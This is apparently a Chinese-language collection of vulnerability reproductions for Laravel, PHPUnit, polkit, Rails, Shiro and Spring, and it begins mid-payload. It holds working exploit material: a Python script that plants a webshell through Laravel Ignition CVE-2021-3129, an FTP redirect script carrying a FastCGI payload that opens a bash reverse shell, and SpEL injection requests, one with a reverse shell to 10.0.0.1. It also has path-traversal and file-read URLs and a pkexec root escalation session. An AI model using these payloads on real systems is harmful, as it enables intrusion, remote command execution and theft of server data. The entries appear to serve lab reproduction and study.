00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=44=00=77=00=7A=00=43=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=53=00=6D=00=31=00=59=00=37=00=6B=00=34=00=32=00=72=00=2B=00=63=00=49=00=36=00=74=00=78=00=58=00=67=00=47=00=6A=00=36=00=46=00=66=00=4A=00=33=00=72=00=43=00=58=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req

def filterlog(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 

def phar(url,path):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "phar://"+path+"\storage\\logs\\laravel.log\\test.txt"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req

def pharl(url,path):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "phar://"+path+"/storage/logs/laravel.log/test.txt"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req

def path(url):
    req=requests.get(url).text
    pattern = re.compile(r'(\#\d*\ (.*)(?:\/|\\)vendor)')
    m=pattern.findall(req)
    return m[0][1]

if __name__=='__main__':
	print(
	'''
  ██████ ▓█████  ▄████▄   ██▓███   ██▀███   ▒█████    ██████ 
▒██    ▒ ▓█   ▀ ▒██▀ ▀█  ▓██░  ██▒▓██ ▒ ██▒▒██▒  ██▒▒██    ▒ 
░ ▓██▄   ▒███   ▒▓█    ▄ ▓██░ ██▓▒▓██ ░▄█ ▒▒██░  ██▒░ ▓██▄   
  ▒   ██▒▒▓█  ▄ ▒▓▓▄ ▄██▒▒██▄█▓▒ ▒▒██▀▀█▄  ▒██   ██░  ▒   ██▒
▒██████▒▒░▒████▒▒ ▓███▀ ░▒██▒ ░  ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒
▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒  ░▒▓▒░ ░  ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
░ ░▒  ░ ░ ░ ░  ░  ░  ▒   ░▒ ░       ░▒ ░ ▒░  ░ ▒ ▒░ ░ ░▒  ░ ░
░  ░  ░     ░   ░        ░░         ░░   ░ ░ ░ ░ ▒  ░  ░  ░  
      ░     ░  ░░ ░                  ░         ░ ░        ░  
                ░                                            
 
	''')
	url=sys.argv[1]+"/_ignition/execute-solution"
	clearlog(url)
	clearlog(url)
	clearlog(url)
	clearlog(url)
	clearlog(url)
	if(AA(url).status_code==500):
		if(":" in path(url)):
			print("windows")
			if(sendpayloadwindows(url).status_code==500):
				if(filterlog(url).status_code==200):
					if(phar(url,path(url)).status_code==500):
						if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
							print("[+]webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
						else:
							print("[-]漏洞不存在")
		if(":" not in path(url)):
			print("linux")
			if(sendpayloadlinux(url).status_code==500):
				if(filterlog(url).status_code==200):
					if(pharl(url,path(url)).status_code==500):
						if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
							print("webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
						else:
							print("[-]漏洞不存在")

img

根据路径密码使用哥斯拉连接木马

img

FTP脚本

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx.xxx.xxx.xxx/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

参考文章

米斯特团队|漏洞分析 | Laravel Debug页面RCE(CVE-2021-3129)分析复现

陌陌安全|FTP利用|LARAVEL的那个RCE最有趣的点在这里

原作者漏洞分析

Laravel .env 配置文件泄露 CVE-2017-16894

漏洞描述

Laravel Framework是Taylor Otwell软件开发者开发的一款基于PHP的Web应用程序开发框架。 Laravel framework 5.5.21及之前的版本中存在 .env 文件可被下载的信息泄露漏洞。远程攻击者可利用该漏洞获取敏感信息

漏洞影响

Laravel framework <= 5.5.21

网络测绘

app=”Laravel-Framework”

漏洞复现


当配置不当且在影响范围内时会出现 .env可被下载的情况,导致数据库账号密码等敏感信息的泄露

image-20220313203406647

Laravel Filemanager插件 download 任意文件读取漏洞 CVE-2022-40734

漏洞描述

Laravel Filemanager插件 download 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器上的敏感数据

漏洞影响

Laravel Filemanager插件

网络测绘

“Laravel Filemanager”

漏洞复现

主页面

img

验证POC

/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc/passwd

image-20240806112824340

MotionEye

MotionEye 视频监控组件 list 信息泄漏洞 CVE-2022-25568

漏洞描述

motionEye是用Python写的motion的Web前端,它可以监视视频信号并检测运动。它可以与多种类型的摄像机配合使用,也可以与电影文件一起使用,从而使您可以分析录制的视频,其中存在一个信息泄漏漏洞,通过构造特定的URL即可获取服务器敏感信息

漏洞影响

MotionEye <= v0.42.1

网络测绘

banner=”motionEye”

漏洞复现

通过查看响应Server判断是否使用

img

验证POC

/config/list

image-20240809144757876

PHPUnit

PHPUnit eval-stdin.php 远程命令执行漏洞 CVE-2017-9841

漏洞描述

PHPUnit5.6.3之前的版本,存在一处远程代码执行漏洞,利用漏洞可以获取服务器敏感信息及权限。

漏洞影响

PHPUnit < 5.6.3

漏洞复现

漏洞位于 /phpunit/src/Util/PHP/eval-stdin.php

其中关键代码为:

eval('?>'.file_get_contents('php://input'));

发送如下请求包执行PHP代码

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 
Content-Length: 21
Accept-Encoding: gzip

image-20240809154732736

polkit

CVE-2021-4034

Polkit pkexec 权限提升漏洞(CVE-2021-4034)

Polkit(之前名为PolicyKit)是一个权限相关的套件,pkexec是其中用于以其他用户身份执行命令的工具,它具有suid权限。

当前版本的pkexec中没有正确处理参数和环境变量,导致攻击者可以利用这个Bug劫持环境变量GCONV_PATH,进而劫持动态链接库,以root身份执行任意代码。

参考链接:

漏洞环境

说明: Linux内核在这个commit中修复了argc==0的Bug,而Docker环境会使用宿主机的内核,所以Vulhub采用的方案是在Docker容器中运行Qemu虚拟机,并在虚拟机中运行合适版本的Ubuntu操作系统。

你可以执行下面这条命令启动一个Ubuntu 20.04,其中包含Polkit 0.105版本套件:

docker compose up -d

因为容器中运行了Qemu虚拟机,所以初始化需要消耗更长时间。你可以使用docker compose logs -f查看运行时的日志,如果发现如下日志,说明初始化成功:

漏洞利用

首先,使用ubuntu/vulhub作为账号密码登录目标的SSH(端口是2222):

ssh ubuntu@192.168.1.163 -p2222

然后使用这个项目来利用CVE-2021-4034:

ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)
ubuntu@ubuntu:~$ cd /tmp/
ubuntu@ubuntu:/tmp$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
--2023-01-11 15:11:29--  https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main [following]
--2023-01-11 15:11:30--  https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.205.243.165
Connecting to codeload.github.com (codeload.github.com)|20.205.243.165|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: ‘main.tar.gz’

main.tar.gz                                            [ <=>                                                                                                             ]   4.08K  --.-KB/s    in 0.003s

2023-01-11 15:11:30 (1.49 MB/s) - ‘main.tar.gz’ saved [4176]

ubuntu@ubuntu:/tmp$ tar -zxvf main.tar.gz
CVE-2021-4034-main/
CVE-2021-4034-main/.gitignore
CVE-2021-4034-main/LICENSE
CVE-2021-4034-main/Makefile
CVE-2021-4034-main/README.md
CVE-2021-4034-main/cve-2021-4034.c
CVE-2021-4034-main/cve-2021-4034.sh
CVE-2021-4034-main/dry-run/
CVE-2021-4034-main/dry-run/Makefile
CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
CVE-2021-4034-main/pwnkit.c
ubuntu@ubuntu:/tmp$ cd CVE-2021-4034-main/
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)

上图可见,执行提权程序后,我们已经成为了root用户。

rails

CVE-2018-3760

Ruby On Rails 路径穿越漏洞(CVE-2018-3760)

Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。

Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

参考链接:

漏洞影响

Sprockets < 3.7.1

网络测绘

title=”Ruby On Rails”

环境搭建

启动一个用Ruby On Rails脚手架生成的默认站点:

docker compose up -d

访问http://your-ip:3000即可查看到欢迎页面。

漏洞复现

主页面

image-20240809155130967

先获取绝对路径

/assets/file:%2f%2f/etc/passwd

直接访问http://your-ip:3000/assets/file:%2f%2f/etc/passwd,将会报错,因为文件/etc/passwd不在允许的目录中:

我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如/usr/src/blog/app/assets/images,然后使用%252e%252e/向上一层跳转,最后读取/etc/passwd

/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

image-20240805145456707

CVE-2019-5418

Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{头来构成构造路径穿越漏洞,读取任意文件。

参考链接:

漏洞影响

Rail <= 5.2.2.1

网络测绘

title=”Ruby On Rails”

环境搭建

执行如下命令编译及启动Rail On Rails 5.2.2:

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:3000即可看到Ruby on Rails的欢迎页面。

漏洞复现

访问http://your-ip:3000/robots可见,正常的robots.txt文件被读取出来。

利用漏洞,发送如下数据包,读取/etc/passwd

GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

成功读取:

image-20240805145547587

image-20240809154909270

shiro

CVE-2010-3863

Apache Shiro 认证绕过漏洞(CVE-2010-3863)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.1.0以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造////.//../ 等绕过权限验证

参考链接:

环境搭建

执行如下命令启动一个搭载Shiro 1.0.0的应用:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看首页。

漏洞复现

直接请求管理页面/admin,无法访问,将会被重定向到登录页面:

构造恶意请求/./admin,即可绕过权限校验,访问到管理页面:

image-20240805154952817

CVE-2016-4437

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

漏洞环境

执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:

docker compose up -d

服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录。

漏洞复现

使用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

使用Shiro内置的默认密钥对Payload进行加密:

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

发送rememberMe Cookie,即可成功执行touch /tmp/success

image-20240805155019869

CVE-2020-1957

Apache Shiro 认证绕过漏洞(CVE-2020-1957)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

参考链接:

环境搭建

执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看首页。

这个应用中对URL权限的配置如下:

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

漏洞复现

直接请求管理页面/admin/,无法访问,将会被重定向到登录页面:

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:

image-20240805155048468

spring

CVE-2016-4977

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

参考链接:

运行环境

执行如下命令启动漏洞环境:

docker compose up -d

启动完成后,访问http://your-ip:8080/即可看到web页面。

漏洞复现

访问http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入admin:admin即可。

可见,我们输入是SpEL表达式${233*233}已经成功执行并返回结果:

然后,我们使用poc.py来生成反弹shell的POC(注意:Java反弹shell的限制与绕过方式):

如上图,生成了一大串SpEL语句。附带上这个SpEL语句,访问成功弹回shell:

image-20240805145624666

CVE-2017-4971

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

参考链接:

测试环境

运行测试环境:

docker compose up -d

等待环境启动后,访问http://your-ip:8080,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例。

漏洞复现

首先访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统:

然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“Confirm”:

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

(注意:别忘记URL编码)

成功执行,获得shell:

image-20240805145659682

CVE-2017-8046

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

参考链接:

环境搭建

执行如下命令启动漏洞环境:

docker compose up -d

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

漏洞复现

访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。然后进入容器docker compose exec spring bash看看:

可见,success成功创建。

将bytecode改成反弹shell的命令(注意:Java反弹shell的限制与绕过方式),成功弹回:

image-20240805145727907

CVE-2018-1270

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

参考链接:

漏洞环境

执行如下命令启动漏洞环境:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到一个Web页面。

漏洞复现

网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

  1. STOMP协议将数据组合成一个文本流
  2. sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

所以我们可以使用http来复现漏洞,称之为“降维打击”。

我编写了一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

  1. 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
  2. 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
  3. 某一个订阅的地址,如vulhub中为:/topic/greetings
  4. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。

执行:

进入容器docker compose exec spring bash,可见/tmp/success已成功创建:

image-20240805145751920

CVE-2018-1273

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

参考链接:

环境搭建

执行下面命令启动漏洞环境:

docker compose up -d

稍等一会,环境启动后,访问http://your-ip:8080/users,将可以看到一个用户注册页面。

漏洞复现

参考前面链接中的Payload,在注册的时候抓包,并修改成如下数据包:

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

执行docker compose exec spring bash进入容器中,可见成功创建/tmp/success,说明命令执行成功:

image-20240805145904922

CVE-2022-22947

Spring Cloud Gateway表达式注入 远程命令执行漏洞 CVE-2022-22947

漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

近日VMware官方发布了Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞:

漏洞影响

Spring Cloud Gateway < 3.1.1

Spring Cloud Gateway < 3.0.7

Spring Cloud Gateway 其他已不再更新的版本

网络测绘

app=”vmware-SpringBoot-Framework”

漏洞复现

可以从Github下载存在漏洞的版本v3.1.0,然后用idea载入:

img


从漏洞通报来看,这是一个SPEL表达式注入漏洞,对比补丁org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

img

img


新版本将getValue函数中的StandardEvaluationContext替换成了SimpleEvaluationContext,从而修复了SPEL表达式注入。寻找getValue函数被调用的情况

img


只在枚举值ShortcutType的三个取值(DEFAULTGATHER_LISTGATHER_LIST_TAIL_FLAG)中被调用:

img


三个调用类似,以DEFAULT为例,继续寻找调用关系:

img

一直定位到RouteDefinitionLocator#convertToRoute

img


尝试根据RouteDefinition提取GatewayFilter列表。这里的调用和路由以及过滤规则有关,查看Spring Cloud Gateway路由相关的接口定义:

img


定位处理控制器org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint

img


POST输入参数为RouteDefinition类型,与上面调用链中的convertToRoute函数的输入参数类型一致。

查看RouteDefinition定义:

img


注意列表型变量FilterDefinition的定义:

img


参考RouteDefinition变量的定义很容易出构造POST测试请求:

POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 166

{
  "id": "id",
  "filters": [{
    "name": "123456",
    "args": {}
  }],
  "uri": "http://localhost"
}

触发断点:

img


首先会通过函数validateRouteDefinition对参数进行了检查:

img


进入验证函数isAvailable

img

代码中会验证Filtername属性是否合法,合法列表整理如下:

class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory

可以随意选择其中的一个GatewayFilterFactory,比如利用Retry来修改请求包:

POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 181

{
  "id": "1234567",
  "filters": [{
    "name": "Retry",
    "args": {
"a":"payload"
   }
  }],
  "uri": "http://localhost"
}

请求后显示路由创建成功。可以通过refresh来生效:

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close

成功触发表达式解析:

img

武器化一:命令回显


